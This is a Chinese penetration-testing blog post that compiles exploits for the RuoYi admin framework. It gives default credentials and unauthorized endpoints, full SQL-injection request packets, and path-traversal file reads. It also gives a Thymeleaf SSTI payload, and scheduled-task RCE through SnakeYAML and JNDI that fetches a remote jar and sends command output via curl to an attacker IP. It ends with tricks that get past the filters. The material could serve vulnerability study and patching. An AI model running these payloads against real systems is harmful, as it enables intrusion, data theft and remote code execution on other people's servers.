0x01 前言
RuoYi历史漏洞包括Shiro反序列化漏洞、SSTI漏洞、SQL注入、默认口令、任意文件下载、定时任务远程RCE等。其中,Shiro反序列化漏洞适用于RuoYi V-4.6.2之前的版本,SSTI漏洞适用于V-4.7.1版本,SQL注入适用于<V-4.6.2版本。任意文件下载漏洞适用于所有版本V-4.7.8之前,定时任务远程RCE适用于<V-4.7.2版本。文章还介绍了漏洞的复现过程、修复方法以及一些绕过策略。总结了RuoYi存在的各种漏洞,提醒用户及时修复以确保系统的安全性。
现在只对常读和星标的公众号才展示大图推送,建议大家把渗透安全HackTwo“设为星标”,否则可能就看不到了啦!
参考文章[url=https://www.freebuf.com/articles/web/411980.htmlhttps://www.cnblogs.com/wavewindsor/p/17880329.html]https://www.freebuf.com/articles/web/411980.htmlhttps://www.cnblogs.com/wavewindsor/p/17880329.html[/url]
末尾可领取挖洞资料文件 #渗透安全HackTwo
0x02 漏洞详情
若依前台漏洞
若依特征
绿若依:[AppleScript] 纯文本查看 复制代码 icon_hash=”706913071”
绿若依常见登录页面
蓝若依:[AppleScript] 纯文本查看 复制代码 icon_hash=” -1231872293”
蓝若依常见登录界面
部分漏洞可借助若依综合漏洞利用工具一键扫描(工具在内部星球获取)
若依框架通常使用的组件有springboot、webpack、shiro、druid、swagger、redis、zookeeper、mysql等
未授权访问
常见为绿若依,绿若依一般都会常用webpack组件,F12查看js文件,找到一个名为appxxxxxx.js的文件,搜索baseurl,找到api路径
常见的api路径有:/api、/dev-api、/prod-api等
也有一些api路径指向的是另一个网址
访问后为如下界面
对其进行目录扫描能发现许多信息
常见的未授权有druid、springboot、swagger
在api后面拼接对应路径
druid未授权
druid:http://ip/baseurl/druid/login.html
如果有未授权可以直接访问,需要账号密码的可以配合若依系统弱口令进行登录
常见弱口令有:
admin/admin
admin/admin123
admin/123456
ry/123456
ruoyi/123456
登录后重点查看Session监控和URI监控两处
Session监控里存在历史登录的Session,可以尝试替换Session值进行登录
URI监控处存在大量接口路径,可以进一步访问获取敏感信息
swagger未授权
swagger:http://ip/baseurl/swagger-ui/
可以通过接口文档进行下一步操作,如果发现大量接口可以使用工具进行自动化测试,如swagger-hack
springboot未授权
springboot:http://ip/baseurl/actuator
重点关注/actuator/heapdump路径
访问下载后使用工具对其进行分析可获得大量敏感信息
redis未授权
若依系统通常会用到mysql和redis数据库,可以尝试redis未授权访问,或者对数据库进行弱口令爆破
弱口令+默认密码
常见登录界面路径为:/login
如果页面访问显示不正常,可添加默认访问路径尝试是否显示正常
[AppleScript] 纯文本查看 复制代码 /login?redirect=%2Findex
/baseurl/login?redirect=%2Findex
有些若依系统的账号密码会直接显示在前台登录框中,可以直接利用进行登录
常见的弱口令有:
admin/admin
admin/admin123
admin/123456
ry/123456ry/admin123
ruoyo/admin123
ruoyi/123456
注册接口
在弱口令等方法都试过之后还无法登录,可以尝试访问注册接口看看系统是否允许注册
访问:/register
不允许注册
允许注册
注册成功后就可以使用注册账号登录进一步测试
shiro反序列化
若依登录界面通常都采用了rememberMe字段,如果存在默认的key值,则可以进一步利用,实现shiro反序列化
未授权文件上传
常见于绿若依系统,F12查找js中的app.js,搜索uploadurl
访问对应路径/baseurl/common/upload
有鉴权
未授权
构造对应的文件上传请求包
访问返回的文件路径
有些网站做了限制,只允许白名单上传
这种情况可以打带有xss的html文件,造成存储xss
没限制的网站可以直接getshell
若依后台漏洞
若依后台存在多处sql注入漏洞漏洞简介
若依后台存在多个SQL注入点
漏洞复现
进入后台后,拦截角色管理页面的请求包
POC:
[AppleScript] 纯文本查看 复制代码 POST /system/role/list HTTP/1.1
Host: 127.0.0.1
Content-Length: 179sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99"Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttp
Requestsec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
sec-ch-ua-platform: "Windows"Origin: [url=http://127.0.0.1]http://127.0.0.1[/url]
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: [url=http://127.0.0.1/system/role]http://127.0.0.1/system/role[/url]
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=cfcf2d1f-f180-46cf-98bb-5eacc4206014Connection: closepageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=¶ms[beginTime]=¶ms[endTime]=¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))
第二个sql注入点:角色编辑接口
POC:
[AppleScript] 纯文本查看 复制代码 POST /system/dept/edit HTTP/1.1
Host: 127.0.0.1
Content-Length: 111
sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
sec-ch-ua-platform: "Windows"Origin: [url=http://127.0.0.1]http://127.0.0.1[/url]
Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: empty
Referer: [url=http://127.0.0.1/system/role]http://127.0.0.1/system/role[/url]
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=cfcf2d1f-f180-46cf-98bb-5eacc4206014Connection: closeDeptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select user()))));#
第三个sql注入点POC:
[AppleScript] 纯文本查看 复制代码 POST /system/role/export HTTP/1.1
Host: 127.0.0.1
Content-Length: 75
sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttp
Requestsec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
sec-ch-ua-platform: "Windows"Origin: [url=http://127.0.0.1]http://127.0.0.1[/url]
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: emptyReferer: [url=http://127.0.0.1/system/role]http://127.0.0.1/system/role[/url]
Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9
Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=cfcf2d1f-f180-46cf-98bb-5eacc4206014Connection: closeparams[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))
RuoYi4.7.5版本后台sql注入
ruoyi-4.7.5 后台 com/ruoyi/generator/controller/GenController 下/tool/gen/createTable路由存在sql注入。
POC:
[AppleScript] 纯文本查看 复制代码 sql=CREATE table ss1 as SELECT/**/* FROM sys_job WHERE 1=1 union/**/SELECT/**/extractvalue(1,concat(0x7e,(select/**/version()),0x7e));
若依后台任意文件读取(CNVD-2021-01931)漏洞简介
若依管理系统是基于springboot的权限管理系统,登录后台后可以读取服务器上的任意文件。影响版本:RuoYi<4.5.1
漏洞复现
POC:
[AppleScript] 纯文本查看 复制代码 /common/download/resource?resource=/profile/../../../../etc/passwd/common/download/resource?resource=/profile/../../../../Windows/win.ini
读取了D盘下的1.txt文件
若依后台任意文件下载漏洞漏洞简介
若依管理系统后台存在任意文件下载漏洞。影响版本:若依管理系统4.7.6及以下版本
漏洞复现
漏洞利用前提:登录进后台。
首先提交一个定时任务。
[AppleScript] 纯文本查看 复制代码 POST /monitor/job/add HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-CA,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttp
RequestContent-Length: 188Connection: close
Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=61e79ae9-8cdd-4e51-baac-d269ef551df3createBy=admin&jobName=renwu&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile('c://windows/win.ini')&cronExpression=0%2F15+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=0&remark=
通过浏览器直接get请求以下地址即可,下载任意文件。
http://127.0.0.1/common/download/resource?resource=c://windows/win.ini:.zip
SSTI(模板注入)漏洞 (仅适用V-4.7.1)分析在RuoYi的
ruoyi-admin\src\main\java\com\ruoyi\web\controller\monitor\CacheController.javaruoyi-admin\src\main\java\com\ruoyi\web\controller\demo\controller\DemoFormController.java
下存在可控的return字段,且由于RuoYi使用的是thymeleaf视图渲染组件,因此可进行SSTI模板注入。
其中可注入的接口包括
/localrefresh/task/getValue/getKeys/getNames
接口满足条件。
PostMapping注解控制,会在view中进行解析(或者GetMapping)。
return 值可控(或者url可控)
可以通过在http://localhost/monitor/cache视图下点击按钮抓包,也可直接构包(该接口需要有效cookie)
构建fragment参数payload,由于系统未对fragment参数做任何处理就进行返回,因此我们可以直接插入thymeleaf表达式,使用’${}注入执行表达式,T()访问java类和静态访问。因此构建payload:
${T(java.lang.Runtime).getRuntime().exec(“calc.exe”)}
由于thymeleaf高版本对T()进行了一些限制,不过可通过在T和(增加空格的办法进行绕过。
${T (java.lang.Runtime).getRuntime().exec(“calc.exe”)} 增加空格接口/monitor/cache/getName
构包,接口 /monitor/cache/getName (需要有效的身份Cookie)
注入cacheName不能为空
bady: [AppleScript] 纯文本查看 复制代码 **cacheName=123&fragment=${T (java.lang.Runtime).getRuntime().exec(“calc.exe”)}**
四个接口的攻击方式一致,payload一致
接口/monitor/cache/getKeys
接口/monitor/cache/getValue
接口/demo/form/localrefresh/task
修复:在RuoYi-4.7.2版本中,使用了thymeleaf版本3.0.14.RELEASE已无法再进行注入。
定时任务远程RCE(<V-4.7.2)
需要注意的是由于是从远程加载类,通常只加载一次后,就会缓存该类,之后不会再加载,因此若在测试过程中,命令没有执行成功,可重新创建定时任务,更换端口等操作多次尝试。
SnakeYaml 反序列化简介
通常只要引用了Snakeyaml包的几乎都可进行反序列化
可查看代码是否调用 new Yaml();
漏洞复现(V-4.2)
下载yaml反序列化payload工具
该工具是通过org.yaml.snakeyaml.Yaml类来加载远程的类,通过远程类重写AwesomeScriptEngineFactory类,以此来达到执行远程恶意命令的目的。
下载完工具后将
src/artsploit/AwesomeScriptEngineFactory.java
文件中的Runtime执行语句改为你要执行的命令
eg:
[AppleScript] 纯文本查看 复制代码 curl [url=http://192.168.31.246:7000?CMDEcho=]http://192.168.31.246:7000?CMDEcho=[/url]$(whoami)
地址为启动任意启动的http服务,或者dnslog都可(主要用于命令回显)
除此之外,我们需要使用$()命令替换,用于命令回显,因此我们改写一下命令执行函数。
改写方法如图
[AppleScript] 纯文本查看 复制代码 String[] cmd = { "/bin/bash", "-c", "curl [url=http://192.168.31.246:7000?echo=]http://192.168.31.246:7000?echo=[/url]$(whoami)"};Runtime.getRuntime().exec(cmd);
在工具根目录 编写yaml-payload.yml文件
[AppleScript] 纯文本查看 复制代码 !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://192.168.31.246:8000/yaml-payload.jar"] ]] ]
使用JAVA编译该文件,并且打包为jar,命令如下
[AppleScript] 纯文本查看 复制代码 $ javac src/artsploit/AwesomeScriptEngineFactory.java$ jar -cvf yaml-payload.jar -C src/ .
然后在该位置使用python开启http服务,用于远程加载该jar文件
[AppleScript] 纯文本查看 复制代码 org.yaml.snakeyaml.Yaml.load(‘!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [“[url=http://192.168.31.246:8000/yaml-payload.jar]http://192.168.31.246:8000/yaml-payload.jar[/url]"]]]]‘)
[AppleScript] 纯文本查看 复制代码 cron表达式0/10 **** ?
[AppleScript] 纯文本查看 复制代码 POST /monitor/job/edit HTTP/1.1
Host: 192.168.31.209
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttp
RequestContent-Length: 340Origin: [url=http://192.168.31.209]http://192.168.31.209[/url]
Connection: closeReferer: [url=http://192.168.31.209/monitor/job/edit/112]http://192.168.31.209/monitor/job/edit/112[/url]
Cookie: JSESSIONID=8fb6fb64-75c1-47ca-a145-0b7dd67ec5a2jobId=112&updateBy=admin&jobName=RCE12&jobGroup=DEFAULT&invokeTarget=org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager+%5B!!java.net.URLClassLoader+%5B%5B!!java.net.URL+%5B%22http%3A%2F%2F192.168.31.246%3A8000%2Fyaml-payload.jar%22%5D%5D%5D%5D')&cronExpression=0%2F10+*+*+*+*+%3F&misfirePolicy=2&concurrent=1&status=1&remark=
JNDI注入简介
通过JNDI远程加载恶意类
这次我们使用windows开发环境进行测试
其次JNDI注入只在低版本JAVA中适用(小于以下版本可用)
[td] | JDK6 | JDK7 | JDK8 | JDK11 | RMI不可用 | 6u132 | 7u122 | 8u113 | 无 | LDAP不可用 | 6u221 | 7u201 | 8u119 | 11.0.1 |
本次我们不再通过命令回显的方式进行测试,而是通过直接在windows中弹出计算器进行测试
漏洞复现(V-4.2)
先编译要执行的恶意类
[AppleScript] 纯文本查看 复制代码 javac Calc.java
public class Calc{ public Calc(){ try{ Runtime.getRuntime().exec("calc"); }catch (Exception e){ e.printStackTrace(); } } public static void main(String[] argv){ Calc c = new Calc(); }}
将Calc.class文件通过python服务暴露python -m http.server 6000
使用marshalsec工具启动一个RMI服务,链接类指向我们公开的端口下载marshalsec,需要自行编译,或者下载别人已经编译好的jar包
RMI注入[AppleScript] 纯文本查看 复制代码 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “[url=http://192.168.10.129:6000/#Calc]http://192.168.10.129:6000/#Calc[/url]“ 8888
添加一个定时任务通过lookup函数加载远程类
目标字符串:
[AppleScript] 纯文本查看 复制代码 org.springframework.jndi.JndiLocatorDelegate.lookup(‘rmi://192.168.10.129:8888/Calc’)
cron表达式:0/10 * * * * ?
点击执行任务,弹出计算器,测试成功。
LDAP注入
启动ldap服务
[AppleScript] 纯文本查看 复制代码 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “[url=http://192.168.10.129:6000/#Calc]http://192.168.10.129:6000/#Calc[/url]“ 8888
添加一个定时任务通过lookup函数加载远程类
目标字符串:
[AppleScript] 纯文本查看 复制代码 javax.naming.InitialContext.lookup(‘ldap://192.168.10.129:8888/#Calc’)
cron表达式:0/10 **** ?
点击执行,弹出计算器,测试成功
高版本绕过策略(V-4.6.2-V-4.7.1)
在V-4.6.2-V-4.7.1版本中RuoYi添加了对ldap和rmi以及http字符串的过滤
[AppleScript] 纯文本查看 复制代码 ruoyi-quartz\src\main\java\com\ruoyi\quartz\controller\SysJobController.java
但是可通过添加”‘“的方式来绕过。
例如http就可以改为ht’tp,rmi可以改为r’mi,ldap改为l’dap,以此来绕过字符串检测
没添加”‘“绕过
添加”‘“绕过,只需要在协议字符串中间添加一个“’”即可,那么所有目标调用字符串可更改为
[AppleScript] 纯文本查看 复制代码 rmi:org.springframework.jndi.JndiLocatorDelegate.lookup(‘r’mi://192.168.10.129:8888/Calc’)ldap:javax.naming.InitialContext.lookup(‘ld’ap://192.168.10.129:8888/#Calc’)SnakeYaml:org.yaml.snakeyaml.Yaml.load(‘!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [“ht’tp://192.168.31.246:8000/yaml-payload.jar”]]]]’)
测试通过,命令执行成功
修复(V-4.7.2)直接对定时任务调用的类进行黑马名单限制
0x03 总结
通过代码审计和漏洞复现,发现部分漏洞(如Shiro反序列化、SQL注入)在V-4.6.2及以上版本通过参数过滤或随机密钥得以修复,但SSTI、定时任务RCE等漏洞在特定版本(如V-4.7.1)仍可通过巧妙的绕过手法利用。喜欢这类文章或挖掘SRC技巧文章师傅可以点赞转发支持一下谢谢!后续会更新更多!
|